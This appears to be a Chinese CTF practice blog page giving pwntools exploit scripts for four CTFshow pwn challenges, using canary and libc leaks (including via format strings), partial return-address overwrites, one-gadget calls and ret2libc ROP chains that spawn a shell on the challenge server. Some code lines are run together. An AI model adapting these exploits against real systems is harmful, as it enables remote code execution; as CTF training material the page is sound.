PWN-PRACTICE-CTFSHOW-6

36D杯-MengxinStack
36D杯-tang
1024杯-1024_happy_stack
1024杯-1024_happy_checkin

36D杯-MengxinStack

程序开了canary和PIE保护
泄露远程libc版本，为 libc6_2.23-0ubuntu10_amd64.so

from pwn import *
io=remote("pwn.challenge.ctf.show",28124)
io.recvuntil("She said: hello?\n")
payload="a"*0x40+"b"*8
io.send(payload)
io.recvuntil("b"*8)
__libc_start_main_ret=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("__libc_start_main_ret=="+hex(__libc_start_main_ret))

泄露canary->覆盖返回地址低字节，重新调用main->泄露libc基地址->覆盖返回地址为one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28124)
elf=ELF("./pwn1")#泄露远程libc版本
#io.recvuntil("She said: hello?\n")
#payload="a"*0x40+"b"*8
#io.send(payload)
#io.recvuntil("b"*8)
#__libc_start_main_ret=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
#print("__libc_start_main_ret=="+hex(__libc_start_main_ret))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary
io.recvuntil("She said: hello?\n")
payload="a"*32+"b"*8
io.sendline(payload)
io.recvuntil("b"*8)
canary=u64(io.recv(8))-0xa
print("canary=="+hex(canary))#.text:00000000000207FA                 mov     rax, fs:2F8h
#.text:0000000000020803                 mov     [rsp+0B8h+var_48], rax
#.text:0000000000020808                 lea     rax, [rsp+0B8h+var_98]
#.text:000000000002080D                 mov     fs:300h, rax
#.text:0000000000020816                 mov     rax, cs:environ_ptr_0
#.text:000000000002081D                 mov     rsi, [rsp+0B8h+var_B0]
#.text:0000000000020822                 mov     edi, [rsp+0B8h+var_A4]
#.text:0000000000020826                 mov     rdx, [rax]
#.text:0000000000020829                 mov     rax, [rsp+0B8h+var_A0]
#.text:000000000002082E                 call    rax
#.text:0000000000020830
#.text:0000000000020830 loc_20830:                              ; CODE XREF: __libc_start_main+134↓j
#.text:0000000000020830                 mov     edi, eax
#.text:0000000000020832                 call    exit#覆盖返回地址低字节，重新调用main
payload="a"*40+p64(canary)+"b"*0x18+"\x16"
io.send(payload)#泄露libc基址
io.recvuntil("She said: hello?\n")
payload="a"*0x40+"b"*8
io.send(payload)
io.recvuntil("b"*8)
__libc_start_main=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
ogg=libc_base+0x45216#覆盖返回地址到one-gadget
payload="a"*40+p64(canary)+"b"*0x18+p64(ogg)
io.send(payload)io.interactive()

36D杯-tang

保护全开，这题思路和36D杯-MengxinStack很像
泄露远程libc版本，为 libc6_2.23-0ubuntu10_amd64.so

from pwn import *
io.recvuntil("你怎么了？\n")
io.send("%23$p")
io.recvuntil("0x")
__libc_start_main_ret=int(io.recv(12),16)
print("__libc_start_main_ret=="+hex(__libc_start_main_ret))

泄露canary->覆盖返回地址低字节，重新调用main->泄露libc基地址->覆盖返回地址为one-gadget

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28026)
elf=ELF("./pwn1")#泄露远程libc版本
#io.recvuntil("你怎么了？\n")
#io.send("%23$p")
#io.recvuntil("0x")
#__libc_start_main_ret=int(io.recv(12),16)
#print("__libc_start_main_ret=="+hex(__libc_start_main_ret))#远程libc
libc=ELF("./libc6_2.23-0ubuntu10_amd64.so")#泄露canary
io.recvuntil("你怎么了？\n")
io.send("%9$p")
io.recvuntil("0x")
canary=int(io.recv(16),16)
print("canary=="+hex(canary))#.text:00000000000207FA                 mov     rax, fs:2F8h
#.text:0000000000020803                 mov     [rsp+0B8h+var_48], rax
#.text:0000000000020808                 lea     rax, [rsp+0B8h+var_98]
#.text:000000000002080D                 mov     fs:300h, rax
#.text:0000000000020816                 mov     rax, cs:environ_ptr_0
#.text:000000000002081D                 mov     rsi, [rsp+0B8h+var_B0]
#.text:0000000000020822                 mov     edi, [rsp+0B8h+var_A4]
#.text:0000000000020826                 mov     rdx, [rax]
#.text:0000000000020829                 mov     rax, [rsp+0B8h+var_A0]
#.text:000000000002082E                 call    rax
#.text:0000000000020830
#.text:0000000000020830 loc_20830:                              ; CODE XREF: __libc_start_main+134↓j
#.text:0000000000020830                 mov     edi, eax
#.text:0000000000020832                 call    exitio.recvuntil("烫\n")
io.sendline("P1umH0")#覆盖返回地址低字节，重新调用main
io.recvuntil("远一点！\n")
payload="a"*56+p64(canary)+"b"*0x18+"\x16"
io.send(payload)#泄露libc基址
io.recvuntil("你怎么了？\n")
io.send("%23$p")
io.recvuntil("0x")
__libc_start_main=int(io.recv(12),16)-(0x20830-0x20740)
libc_base=__libc_start_main-libc.sym["__libc_start_main"]
ogg=libc_base+0xf1147io.recvuntil("烫\n")
io.sendline("P1umH0")#覆盖返回地址到one-gadget
io.recvuntil("远一点！\n")
payload="a"*56+p64(canary)+"b"*0x18+p64(ogg)
io.send(payload)io.interactive()

1024杯-1024_happy_stack

栈溢出，用"36D\x00"绕过strcmp，然后ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28138)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4006AE
pop_rdi=0x400803
ret=0x40028aio.recvuntil("qunzhu\n\n")
payload="36D\x00"+"a"*(0x380-4)+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9aio.recvuntil("qunzhu\n\n")
payload="36D\x00"+"a"*(0x380-4)+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)io.interactive()

1024杯-1024_happy_checkin

栈溢出，ret2libc

# -*- coding:utf-8 -*-
from pwn import *
context.log_level="debug"
#io=process("./pwn1")
io=remote("pwn.challenge.ctf.show",28173)
elf=ELF("./pwn1")puts_got=elf.got["puts"]
puts_plt=elf.plt["puts"]
main_addr=0x4005F7
pop_rdi=0x4006e3
ret=0x4004c6io.recvuntil("ticket\n")
payload="a"*0x370+"b"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.sendline(payload)
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
print("puts_addr=="+hex(puts_addr))
libc_base=puts_addr-0x0809c0
system=libc_base+0x04f440
binsh=libc_base+0x1b3e9aio.recvuntil("ticket\n")
payload="a"*0x370+"b"*8+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
io.sendline(payload)io.interactive()

PWN-PRACTICE-CTFSHOW-6相关推荐

CTFshow——Pwn(1)
CTFshow--Pwn(1) 有点懒不想写write up了.只有exploit. PWN签到题 from pwn import * p = remote('xxx',xxx) p.interact ...
ctfshow pwn——PWN签到题、pwn02
PWN PWN签到题 pwn02 PWN签到题 nc连上就行了 pwn02 check一下是32位,用32位ida打开看看很直白的pwnme函数 9字节的空间读入了50字节,产生了栈溢出用pwnd ...
CTF比赛PWN题sgtlibc通用快速解题框架
CTF比赛PWN题sgtlibc通用快速解题框架安装开源地址:https://github.com/serfend/sgtlibc 使用 pip install sgtlibc -U 安装pwn解 ...
CTFshow 击剑杯部分WP
摆烂了摆烂了太难了聪明的师傅已经组队打起月赛了试试能不能苟住前5 苟住了复现的后面再补充吧文章目录 1.Misc 中文识别带师 2.Web 简单的验证码 easyPOP 3.Pwn pwn0 ...
CTFSHOW 套娃shell
CTFSHOW 套娃shell 1.题目给的是用nc连接的,测试了下,传个请求包过去就可以了,比如(最后的换行不要忘了): GET /?file=/a HTTP/1.1 Host: 127.0.0.1 ...
[ CTF ] WriteUp- 20221003 CTFShow新（脑洞）手（套路）杯
目录 [Misc]哇库哇库 [Misc]显卡坏了赛后看官方wp给的脚本: [Web]easy_eval [Web]repairman [Crypto]easy_base [Crypto]天知地知(赛 ...
ctfshow愚人节欢乐赛wp(部分)
目录特殊base 凌晨四点的ctfshow php的简单RCE 以旧换新(签退-送分) 暴躁的zip Easy_game 这次月赛拿了个第十二,差一丢丢,只能说凌晨四点赚到了,下面这些是我比赛的时候 ...
ctfshow吃瓜杯八月群赛 WriteUp/WP
Web: shellme 题目问题,没什么说的,进去直接搜ctfshow就是flag 热身签到题,做过web入门的都应该知道怎么绕,分开来看比如第一个部分可以用小数绕过,第二部分没有字母,可以用8 ...
Hitcon 2016 Pwn赛题学习
PS:这是我很久以前写的,大概是去年刚结束Hitcon2016时写的.写完之后就丢在硬盘里没管了,最近翻出来才想起来写过这个,索性发出来 0x0 前言 Hitcon个人感觉是高质量的比赛,相比国内的C ...
HDU1089-1096 A+B for Input-Output Practice 系列问题（输入输出格式练习）
HDU1089 A+B for Input-output Practice (1) 问题描述:每行输入一对整数a和b,每行对应输出a与b的和. Sample Input 1 5 10 20 Sampl ...

PWN-PRACTICE-CTFSHOW-6

PWN-PRACTICE-CTFSHOW-6

36D杯-MengxinStack

36D杯-tang

1024杯-1024_happy_stack

1024杯-1024_happy_checkin

PWN-PRACTICE-CTFSHOW-6相关推荐

最新文章

热门文章